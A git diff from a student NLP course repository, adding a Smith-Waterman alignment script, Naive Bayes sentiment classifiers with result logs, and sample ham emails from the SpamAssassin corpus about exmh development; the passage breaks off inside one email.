diff --git a/SW.py b/SW.py new file mode 100644 index 0000000..ef314cc --- /dev/null +++ b/SW.py @@ -0,0 +1,111 @@ +''' This is a sample implementation of the Smith-Waterman algorithm in an +attempt to adapt it to the alignment of different members of a declension +paradigm with the end goal of separating matching morphemes from those that +differ. +''' + +from numpy import zeros + +WORDS = [('help','unhelpful'), ('kamok','kamka')] +MATCH = 2 +MISMATCH = -1 +GAP = -1 + +def score(str1, str2): + if str1 == str2: + return MATCH + else: + return MISMATCH + +class Allignments: + + def __init__(self, matrix, s1, s2): + self.mat = matrix + self.a = s1 + self.b = s2 + self.Paths = [] + + def find_further_steps(self, x, y): + steps = [] # this will be our output + diag = self.mat[x-1][y-1] + up = self.mat[x-1][y] + left = self.mat[x][y-1] + if x == 0: # this is if we are at the top end of the matrix + steps.append((x,y-1)) + elif y == 0: # this is if we are at the left end of it + steps.append((x-1,y)) + else: + if diag == max(diag, up, left): # case A + steps.append((x-1,y-1)) + if left == max(diag, up, left): # case B + steps.append((x,y-1)) + if up == max(diag, up, left): # case C + steps.append((x-1,y)) + return steps + +#print score('a','a') + def find_path(self, starter, path=[]): + path.append(starter) + #exit clause + solutions = self.find_further_steps(starter[0], starter[1]) + for solution in solutions: + if solution == (0,0): + path.append(solution) + print 'done', path + return path + else: + further_path = self.find_path(solution, path=path) + if further_path: + self.Paths.append(self.find_path(solution, path=path)) + path = path[:path.index(solution)] + + +for pair in WORDS: + print 'working on', pair + A = pair[0] + B = pair[1] + matrix= zeros((len(A),len(B))) + maxScore = 0 + + for i in range(1,len(A)): + for j in range(1,len(B)): + #print B[j] + #print score(A[i], B[j]) + seq_score = score(A[i], B[j]) + matrix[i-1][j-1] + matrix[i][j] = max(seq_score, matrix[i-1][j]+GAP, matrix[i][j-1]+GAP) + if matrix[i][j] >= maxScore: + imax = i + jmax = j + maxScore = matrix[i][j] + print matrix + + test = Allignments(matrix, A, B) + + test.find_path((imax, jmax), path=[]) + print test.Paths + + #maxindx = matrix.argmax() + #i = maxindx / matrix.shape[1] + #j = maxindx % matrix.shape[1] + #path = [] + #i, j = imax, jmax + #while i > 0 and j > 0: + #diag = matrix[i-1][j-1] + #up = matrix[i-1][j] + #left = matrix[i][j-1] + #path.append((i,j)) + #if diag == max(diag, up, left): + #i -= 1 + #j -= 1 + #elif up == max(diag, up, left): + #i -= 1 + #elif left == max(diag, up, left): + #j -= 1 + #while i > 0: + #path.append((i,j)) + #i -= 1 + #while j >0: + #path.append((i,j)) + #j -= 1 + ##print imax, jmax + #print path diff --git a/SWNotes b/SWNotes new file mode 100644 index 0000000..4b5dafb --- /dev/null +++ b/SWNotes @@ -0,0 +1,3 @@ +traceback: + + diff --git a/bayes/classifier.py b/bayes/classifier.py new file mode 100644 index 0000000..05ce09f --- /dev/null +++ b/bayes/classifier.py @@ -0,0 +1,158 @@ +''' +Umass Amherst +Compsci 585 - Introduction to Natural Language Processing. +Instroctor: Andrew McCallum +Submission: Ilia Kurenkov +Assignment 4: Naive Bayes Classifier + +This classifier, for testing purposes, uses the nltk movie review corpus. +''' +import datetime +# from operator import mul +from math import log +from nltk.corpus import movie_reviews as mr + +CLASSES = mr.categories() +TRAINING_POSITIVES1 = mr.fileids(categories='pos')[:500] +TRAINING_NEGATIVES1 = mr.fileids(categories='neg')[:500] + +TRAINING_POSITIVES2 = mr.fileids(categories='pos')[:700] +TRAINING_NEGATIVES2 = mr.fileids(categories='neg')[:700] + +TRAINING_POSITIVES3 = mr.fileids(categories='pos')[:900] +TRAINING_NEGATIVES3 = mr.fileids(categories='neg')[:900] + +TESTING1 = mr.fileids(categories='pos')[500:] + mr.fileids(categories='neg')[500:] +TESTING2 = mr.fileids(categories='pos')[700:] + mr.fileids(categories='neg')[700:] +TESTING3 = mr.fileids(categories='pos')[900:] + mr.fileids(categories='neg')[900:] + +################ Training Machinery ######################## +'''The way I'm doing this for now may not very good for the memory since it +loads all of the texts together into it. +''' + +class Laplace_Label(): + """this class represents a label. As it is initialized, it processes a + collection of filenames the following way: + 1. texts corresponding to filenames are extracted and combined into a list + 2. the vocabulary is created from a set of this list + 3. Laplace smooting denominator is calculated + 4. dictionary of word probabilities is created for class. + """ + def __init__(self, collection): + ''' constructor takes collection of texts as arg + ''' + self.rev = [word for text in collection for word in mr.words(text)] + self.V = set(self.rev) + self.N = len(self.rev) + len(self.V) + self.word_probs = dict([(w, float(self.rev.count(w)+1)/self.N) for w in self.V]) + +################ Some Testing Machinery ######################### + +def prob(word, label): + '''lots of error catching here''' + if label == 'pos': + try: + return pos.word_probs[word] + except KeyError: + return 1.0/pos.N + elif label == 'neg': + try: + return neg.word_probs[word] + except KeyError: + return 1.0/neg.N + else: + raise Exception('An invalid label was passed. Exiting...') + + +def cat_score(review, cat): + '''gets probability of a document being in a class by summing up + the log probabilities of the words in the document, given the class. + ''' + return -sum([log(prob(word, cat)) for word in mr.words(review)]) + + +def foo(review): + '''returns most likely class for a review''' + return max([(cat_score(review, cat), cat) for cat in CLASSES])[1] + +############ Calculating Precision and recall ############ + +def evaluate(classified, test): + ''' function for evaluating our results. + ''' + classified_pos = [x for x in classified if x[0] == 'pos'] + true_positives = [x for x in classified_pos if mr.categories(x[1])[0] == x[0]] + false_positives = [x for x in classified_pos if mr.categories(x[1])[0] != x[0]] + precision = 100*float(len(true_positives))/len(classified_pos) + print 'precision is:', precision + recall = 100*len(true_positives)/float(len([x for x in test if mr.categories(x)[0]=='pos'])) + print 'recall is', recall + + return 2*precision*recall/(precision+recall) + + +############### Some Actual testing ################## +''' Round 1, with training corpus of 500 for every label.''' +print '''Round 1:\nThe training corpus is 500 reviews for every class\n +The testing corpus is 1000 texts''' +# first we train... +start = datetime.datetime.now() #start the timer +pos = Laplace_Label(TRAINING_POSITIVES1) # train positive reviews +print 'size of positive vocabulary: {}'.format(len(pos.V)) +neg = Laplace_Label(TRAINING_NEGATIVES1) # train on negative reviews +print 'size of negative vocabulary: {}'.format(len(neg.V)) +finish = datetime.datetime.now() # stop timer +print 'done training, it took ', finish - start # print the time it took +# then we test... +start = datetime.datetime.now() # start timer +classified = [(foo(x), x) for x in TESTING1] # create list of +finish = datetime.datetime.now() +print 'done testing, it took ', finish - start +# then we evaluate ... +print 'the F1 value is: {}\n'.format(evaluate(classified, TESTING1)) + + +'''Round 2 with training corpus of 700 for every label. ''' +print '''Round 2:\nThe training corpus is 700 reviews for every class\n +The testing corpus is 600 texts''' +# first we train... +start = datetime.datetime.now() #start the timer +pos = Laplace_Label(TRAINING_POSITIVES2) # train positive reviews +print 'size of positive vocabulary: {}'.format(len(pos.V)) +neg = Laplace_Label(TRAINING_NEGATIVES2) # train on negative reviews +print 'size of negative vocabulary: {}'.format(len(neg.V)) +finish = datetime.datetime.now() # stop timer +print 'done training, it took ', finish - start # print the time it took +# then we test... +start = datetime.datetime.now() # start timer +classified = [(foo(x), x) for x in TESTING2] # create list of +finish = datetime.datetime.now() +print 'done testing, it took ', finish - start +# then we evaluate ... +print 'the F1 value is: {}\n'.format(evaluate(classified, TESTING2)) + + +'''Round 3 with training corpus of 700 for every label. ''' +print '''Round 3:\nThe training corpus is 900 reviews for every class\n +The testing corpus is 200 texts''' +# first we train... +start = datetime.datetime.now() #start the timer +pos = Laplace_Label(TRAINING_POSITIVES3) # train positive reviews +print 'size of positive vocabulary: {}'.format(len(pos.V)) +neg = Laplace_Label(TRAINING_NEGATIVES3) # train on negative reviews +print 'size of negative vocabulary: {}'.format(len(neg.V)) +finish = datetime.datetime.now() # stop timer +print 'done training, it took ', finish - start # print the time it took +# then we test... +start = datetime.datetime.now() # start timer +classified = [(foo(x), x) for x in TESTING3] # create list of +finish = datetime.datetime.now() +print 'done testing, it took ', finish - start +# then we evaluate ... +print 'the F1 value is: {}\n'.format(evaluate(classified, TESTING3)) + +''' Sandbox ''' + +def combine(list1, list2): + pass \ No newline at end of file diff --git a/bayes/gt-classifier.py b/bayes/gt-classifier.py new file mode 100644 index 0000000..f2416ff --- /dev/null +++ b/bayes/gt-classifier.py @@ -0,0 +1,112 @@ +'''This classifier uses the Good-Turing smoothing. I plan to compare its results +with a classifier that uses Laplace smoothing. I want to compare the performance +of these two algorithms on the movie_review corpus as well as on the spam corpus. +''' + +import datetime +from math import log +from collections import defaultdict +from nltk.corpus import movie_reviews as mr + +CLASSES = mr.categories() +TRAINING_POSITIVES1 = mr.fileids(categories='pos')[:500] +TRAINING_NEGATIVES1 = mr.fileids(categories='neg')[:500] + +TRAINING_POSITIVES2 = mr.fileids(categories='pos')[:700] +TRAINING_NEGATIVES2 = mr.fileids(categories='neg')[:700] + +TRAINING_POSITIVES2 = mr.fileids(categories='pos')[:900] +TRAINING_NEGATIVES1 = mr.fileids(categories='neg')[:900] + +TESTING1 = mr.fileids(categories='pos')[500:] + mr.fileids(categories='neg')[500:] +TESTING2 = mr.fileids(categories='pos')[700:] + mr.fileids(categories='neg')[700:] +TESTING2 = mr.fileids(categories='pos')[900:] + mr.fileids(categories='neg')[900:] + + +################ Training Machinery ######################## +'''The way I'm doing this for now may not very good for the memory since it +loads all of the texts together into it. +''' + +class GT_Label(): + """this class represents a label. As it is initialized, it processes a + collection of filenames the following way: + REDO REDO REDO REDO + 1. texts corresponding to filenames are extracted and combined into a list + 2. the vocabulary is created from a set of this list + 3. Laplace smooting denominator is calculated + 4. dictionary of word probabilities is created for class. + """ + def __init__(self, collection): + ''' constructor takes collection of texts as arg + ''' + self.rev = [word for text in collection for word in mr.words(text)] + self.V = set(self.rev) + self.N = len(self.rev) + self.word_counts = defaultdict(int, [(w, float(self.rev.count(w))) for w in self.V]) + self.freq_counts = defaultdict(int, {0:self.N}) + for word in self.word_counts: self.freq_counts[self.word_counts[word]] += 1 + + def get_prob(self, word): + k = self.word_counts[word] + count = (k+1)*self.freq_counts[k+1]/self.freq_counts[k] + return count/self.N + + +################ Some Testing Machinery ######################### + +def prob(word, label): + '''lots of error catching here + REDO REDO REDO + ''' + if label == 'pos': + try: + return pos.word_probs[word] + except KeyError: + return 1.0/pos.N + elif label == 'neg': + try: + return neg.word_probs[word] + except KeyError: + return 1.0/neg.N + else: + raise Exception('An invalid label was passed. Exiting...') + + +def cat_score(review, cat): + '''gets probability of a document being in a class by summing up + the log probabilities of the words in the document, given the class. + ''' + return -sum([log(prob(word, cat)) for word in mr.words(review)]) + + +def foo(review): + '''returns most likely class for a review''' + return max([(cat_score(review, cat), cat) for cat in CLASSES])[1] + + +############ Calculating Precision and recall ############ + +def evaluate(classified, test): + ''' function for evaluating our results. + ''' + classified_pos = [x for x in classified if x[0] == 'pos'] + true_positives = [x for x in classified_pos if mr.categories(x[1])[0] == x[0]] + false_positives = [x for x in classified_pos if mr.categories(x[1])[0] != x[0]] + precision = 100*float(len(true_positives))/len(classified_pos) + print 'precision is:', precision + recall = 100*len(true_positives)/float(len([x for x in test if mr.categories(x)[0]=='pos'])) + print 'recall is', recall + + return 2*precision*recall/(precision+recall) + + +############### Some Actual testing ################## +''' Round 1, with training corpus of 500 for every label.''' +print '''Trying to figure out where to introduce the quadratic function.''' +# first we train... +start = datetime.datetime.now() #start the timer +pos = GT_Label(TRAINING_POSITIVES1) # train positive reviews +print 'finished training, that took:', datetime.datetime.now() - start +print 'size of positive vocabulary: {}\n'.format(len(pos.V)) +print pos.freq_counts diff --git a/bayes/gt-counts b/bayes/gt-counts new file mode 100644 index 0000000..2da7ad9 --- /dev/null +++ b/bayes/gt-counts @@ -0,0 +1,5 @@ +Trying to figure out where to introduce the quadratic function. +finished training, that took: 0:01:44.335017 +size of positive vocabulary: 21809 + +defaultdict(, {0: 394541, 1.0: 8973, 2.0: 3548, 3.0: 1802, 4.0: 1193, 5.0: 825, 6.0: 648, 7.0: 551, 8.0: 411, 9.0: 341, 10.0: 296, 11.0: 262, 12.0: 188, 13.0: 211, 14.0: 144, 15.0: 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3058.0: 1, 1028.0: 2, 7219.0: 1, 1097.0: 1, 1122.0: 1, 19586.0: 1, 1163.0: 1, 9356.0: 1, 1200.0: 1, 1207.0: 1, 1237.0: 1, 1250.0: 1, 1307.0: 1, 1337.0: 1, 1365.0: 1, 1390.0: 1, 2092.0: 1, 5490.0: 1, 1403.0: 1, 9616.0: 1, 1443.0: 1, 1446.0: 1, 3627.0: 1, 20033.0: 1, 1647.0: 1, 7792.0: 1, 1774.0: 1, 3838.0: 1, 1800.0: 1, 16199.0: 1, 3920.0: 1, 3923.0: 1, 1971.0: 1}) diff --git a/bayes/results b/bayes/results new file mode 100644 index 0000000..d01912e --- /dev/null +++ b/bayes/results @@ -0,0 +1,36 @@ +Round 1: +The training corpus is 500 reviews for every class + +The testing corpus is 1000 texts +size of positive vocabulary: 21809 +size of negative vocabulary: 20859 +done training, it took 0:03:17.063716 +done testing, it took 0:00:01.933050 +precision is: 21.2844036697 +recall is 23.2 +the F1 value is: 22.2009569378 + +Round 2: +The training corpus is 700 reviews for every class + +The testing corpus is 600 texts +size of positive vocabulary: 26076 +size of negative vocabulary: 24352 +done training, it took 0:05:35.789176 +done testing, it took 0:00:01.119398 +precision is: 23.1454005935 +recall is 26.0 +the F1 value is: 24.4897959184 + +Round 3: +The training corpus is 900 reviews for every class + +The testing corpus is 200 texts +size of positive vocabulary: 29062 +size of negative vocabulary: 27209 +done training, it took 0:08:03.231223 +done testing, it took 0:00:00.393343 +precision is: 22.6086956522 +recall is 26.0 +the F1 value is: 24.1860465116 + diff --git a/bayes/spamham/easy_ham_2/00001.1a31cc283af0060967a233d26548a6ce b/bayes/spamham/easy_ham_2/00001.1a31cc283af0060967a233d26548a6ce new file mode 100644 index 0000000..953b73d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00001.1a31cc283af0060967a233d26548a6ce @@ -0,0 +1,241 @@ +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7106643C34 + for ; Wed, 21 Aug 2002 08:33:03 -0400 (EDT) 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<9627.1029933001@munnari.OZ.AU> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 19:30:01 +0700 + + Date: Tue, 20 Aug 2002 17:27:47 -0500 + From: Chris Garrigues + Message-ID: <1029882468.3116.TMDA@deepeddy.vircio.com> + + + | I'm hoping that all people with no additional sequences will notice are + | purely cosmetic changes. + +Well, first, when exmh (the latest one with your changes) starts, I get... + +can't read "flist(totalcount,unseen)": no such element in array + while executing +"if {$flist(totalcount,$mhProfile(unseen-sequence)) > 0} { + FlagInner spool iconspool labelup + } else { + FlagInner down icondown labeldown + }" + (procedure "Flag_MsgSeen" line 3) + invoked from within +"Flag_MsgSeen" + (procedure "MsgSeen" line 8) + invoked from within +"MsgSeen $msgid" + (procedure "MsgShow" line 12) + invoked from within +"MsgShow $msgid" + (procedure "MsgChange" line 17) + invoked from within +"MsgChange 4862 show" + invoked from within +"time [list MsgChange $msgid $show" + (procedure "Msg_Change" line 3) + invoked from within +"Msg_Change $msg(id) $show" + (procedure "Msg_Show" line 7) + invoked from within +"Msg_Show cur" + ("eval" body line 1) + invoked from within +"eval $msgShowProc" + (procedure "FolderChange" line 55) + invoked from within +"FolderChange inbox {Msg_Show cur}" + invoked from within +"time [list FolderChange $folder $msgShowProc" + (procedure "Folder_Change" line 3) + invoked from within +"Folder_Change $exmh(folder)" + (procedure "Exmh" line 101) + invoked from within +"Exmh" + ("after" script) + +which is probably related to my not having an "unseen" sequence anywhere +(certainly not in inbox) - I read all of my outstanding mail before I +tried this new exmh ... + +Second, I've been used to having a key binding which was to Msg_MarkUnseen +which doesn't seem to exist any more, and I'm not sure what I should replace +that with. There's obviously a way as the "Sequences" menu does this. +The "Mark Unseen" menu entry in the message "More" menu is still wanting +that function as well... + + | For those who have other sequences defined, the window will widen to + | display the other sequences. + +Any chance of having that lengthen instead? I like all my exmh stuff +in nice columns (fits the display better). That is, I use the detached +folder list, one column. The main exmh window takes up full screen, +top to bottom, but less than half the width, etc... + +I have space for more sequences, in the "unseen" window, as long as they +remain once nice narrow window (best would be if the sequences could be +ordered by some preference, then ones which didn't fit would just fall +off the bottom, and not be shown). + +I'd also prefer it if that window had no unusual background colouring, +just one constant colour - I have been running the unseen window with +background black, on a root window that is all black, with no borders or +other decorations, but made "sticky" - the appearance is just like the +folders with unseen messages (and their counts) are written into the +root window (because it is sticky, this small display follows me around +and do I can see when new mail needs processing). + +I also find that I tend to have a bunch of sequences that only ever occur +in one folder (some I had forgotten I ever created). So in addition to +the "sequences to always show" and "sequences to never show", a +preference to only show sequences that occur in more than one folder +would be useful, and then have the sequences that occor only in the +folder I'm visiting appear in the list when that folder is current. +This is just to keep the list size somewhat manageable while remaining +productive (I quite often use a sequence to remember a particular message +in a folder - the name is used only there, and only for one message, +it gives me a handle on the message which remains as the folder is +packed, sorted, etc). + +I haven't updated my exmh for some time now, so I'm not sure if this +next one is new, or just new since 2.5, but the Sequences menu (on the +bar with New Flist Search ...) only contains "unseen" and "urgent". +It would be useful if it contained all of the sequences that the folder +happens to have defined. A "New sequence" entry would also be useful +(to mark the message with a sequence name that didn't previously exist, +which can be done now using "Search" and the pick interface, but is +clumsy that way) + +Actually, you once could, now when I try this, entering a sequence name +in the pick box, and a single message number, or a range N-N in the +list of messages, and no pick attributes at all, I now get ... + +syntax error in expression "int(1+1+(1 hit-1)*(3868-1-2)/(4878-1))" + while executing +"expr int($minlineno+1+($msgid-$minmsgid)*($maxlineno-$minlineno-2)/($maxmsgid-$minmsgid))" + (procedure "Ftoc_FindMsg" line 46) + invoked from within +"Ftoc_FindMsg $msg" + (procedure "Ftoc_FindMsgs" line 5) + invoked from within +"Ftoc_FindMsgs $msgids" + (procedure "Ftoc_PickMsgs" line 5) + invoked from within +"Ftoc_PickMsgs $pick(ids) $pick(addtosel)" + (procedure "PickInner" line 13) + invoked from within +"PickInner {exec pick +inbox -list} {4852 -sequence mercury}" + ("uplevel" body line 1) + invoked from within +"uplevel #0 $cmd" + (procedure "busyCursorInner" line 8) + invoked from within +"busyCursorInner $cmd $widgets" + (procedure "busyCursorHack" line 32) + invoked from within +"busyCursorHack $args" + ("cursor" arm line 1) + invoked from within +"switch $busy(style) { + icon {busyIcon $args} + cursorAll {busyCursor $args} + cursor {busyCursorHack $args} + default {eval $args} + }" + (procedure "busy" line 3) + invoked from within +"busy PickInner $cmd $msgs" + (procedure "Pick_It" line 51) + invoked from within +"Pick_It" + invoked from within +".pick.but.pick invoke" + ("uplevel" body line 1) + invoked from within +"uplevel #0 [list $w invoke]" + (procedure "tkButtonUp" line 7) + invoked from within +"tkButtonUp .pick.but.pick +" + (command bound to event) + +It has been ages since I did this last though. I tried adding a Subject +to pick on (easy as I know what's in the message...) which made no difference. +Looks as if something is now saying "1 hit" when before it didn't, or +similar. + + | I've also changed the ftoc colorization as discussed briefly on the list a + | week or so ago. + +Any chance of making the current message a little brighter background? +Just to make it stand out a fraction more than it does (maybe this is +more apparent to me than many, as I use very small fonts everywhere, +the background of the ftoc line isn't very wide). + +Hope this helps. + +kre + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00002.5a587ae61666c5aa097c8e866aedcc59 b/bayes/spamham/easy_ham_2/00002.5a587ae61666c5aa097c8e866aedcc59 new file mode 100644 index 0000000..f8d0e16 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00002.5a587ae61666c5aa097c8e866aedcc59 @@ -0,0 +1,133 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:18:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DE7E443C32 + for ; Wed, 21 Aug 2002 11:18:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:18:34 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFFwZ30827 for + ; Wed, 21 Aug 2002 16:16:07 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 78A9B405D2; Wed, 21 Aug 2002 + 11:16:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 2B5BE40673 + for ; Wed, 21 Aug 2002 11:15:25 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LFFMI22899 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 11:15:22 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LFFMY22895 for + ; Wed, 21 Aug 2002 11:15:22 -0400 +Received: from austin-jump.vircio.com + (IDENT:jQOLv0WpB5D5TUjfQa3U3Q/J1v0CFYRH@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LF0xl24211 + for ; Wed, 21 Aug 2002 11:01:00 -0400 +Received: (qmail 27061 invoked by uid 104); 21 Aug 2002 15:15:21 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.414791 + secs); 21/08/2002 10:15:21 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 15:15:20 -0000 +Received: (qmail 26211 invoked from network); 21 Aug 2002 15:15:20 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 15:15:20 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Valdis.Kletnieks@vt.edu +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <200208210636.g7L6auKb003559@turing-police.cc.vt.edu> +References: <1029882468.3116.TMDA@deepeddy.vircio.com> + <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + <200208210636.g7L6auKb003559@turing-police.cc.vt.edu> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-199405358P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029942920.26199.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 10:15:18 -0500 + +--==_Exmh_-199405358P +Content-Type: text/plain; charset=us-ascii + +> From: Valdis.Kletnieks@vt.edu +> Date: Wed, 21 Aug 2002 02:36:56 -0400 +> +> --==_Exmh_778588528P +> Content-Type: text/plain; charset=us-ascii +> +> On Tue, 20 Aug 2002 22:51:52 EDT, Valdis.Kletnieks@vt.edu said: +> +> > Ever tried to get MH to *not* have a 'pseq' sequence? I suspect everybod +> y's +> > looking at a big box that has unseen and pseq in it. Might want to add +> > 'pseq' to the 'hide by default' list.... +> +> Was it intended that if you added a sequence to the 'never show' list that +> it not take effect till you stopped and restarted exmh? I added 'pseq', +> then hit 'save' for Preferences - didn't take effect till I restarted. + +No it wasn't, and at one point it worked fine. I'll check and see why it +stopped working. + +Chris +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_-199405358P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9Y66GK9b4h5R0IUIRAsIYAJ4zEJm2B6tIQDD4MQu7LbapzZpAsgCcCJtl +bDfb8a2wKMtAgWylF44XooU= +=WC8I +-----END PGP SIGNATURE----- + +--==_Exmh_-199405358P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + diff --git a/bayes/spamham/easy_ham_2/00003.19be8acd739ad589cd00d8425bac7115 b/bayes/spamham/easy_ham_2/00003.19be8acd739ad589cd00d8425bac7115 new file mode 100644 index 0000000..0f9b7c1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00003.19be8acd739ad589cd00d8425bac7115 @@ -0,0 +1,142 @@ +From exmh-workers-admin@redhat.com Wed Aug 21 16:18:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5134943C34 + for ; Wed, 21 Aug 2002 11:18:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:18:36 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LFJuZ30902 for + ; Wed, 21 Aug 2002 16:19:56 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id D96EC3EC31; Wed, 21 Aug 2002 + 11:20:01 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id EC3C93F3EB + for ; Wed, 21 Aug 2002 11:17:21 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g7LFHJq23214 for exmh-workers@listman.redhat.com; Wed, 21 Aug 2002 + 11:17:19 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g7LFHIY23207 for + ; Wed, 21 Aug 2002 11:17:18 -0400 +Received: from austin-jump.vircio.com + (IDENT:q6Nj7IxtTt2UXJZJPEaDx4PuUxaC8bQA@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g7LF2ul24494 + for ; Wed, 21 Aug 2002 11:02:56 -0400 +Received: (qmail 27316 invoked by uid 104); 21 Aug 2002 15:17:17 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4218. . Clean. Processed in 0.746999 + secs); 21/08/2002 10:17:17 +Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 21 Aug 2002 15:17:16 -0000 +Received: (qmail 26730 invoked from network); 21 Aug 2002 15:17:16 -0000 +Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) + (envelope-sender ) by localhost (qmail-ldap-1.03) + with SMTP for ; 21 Aug 2002 15:17:16 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Robert Elz +Cc: Valdis.Kletnieks@vt.edu, exmh-workers@spamassassin.taint.org +Subject: Re: New Sequences Window +In-Reply-To: <8176.1029916867@munnari.OZ.AU> +References: <200208210251.g7L2pqKb001805@turing-police.cc.vt.edu> + <1029882468.3116.TMDA@deepeddy.vircio.com> <8176.1029916867@munnari.OZ.AU> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_-196335410P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1029943035.26707.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 10:17:14 -0500 + +--==_Exmh_-196335410P +Content-Type: text/plain; charset=us-ascii + +> From: Robert Elz +> Date: 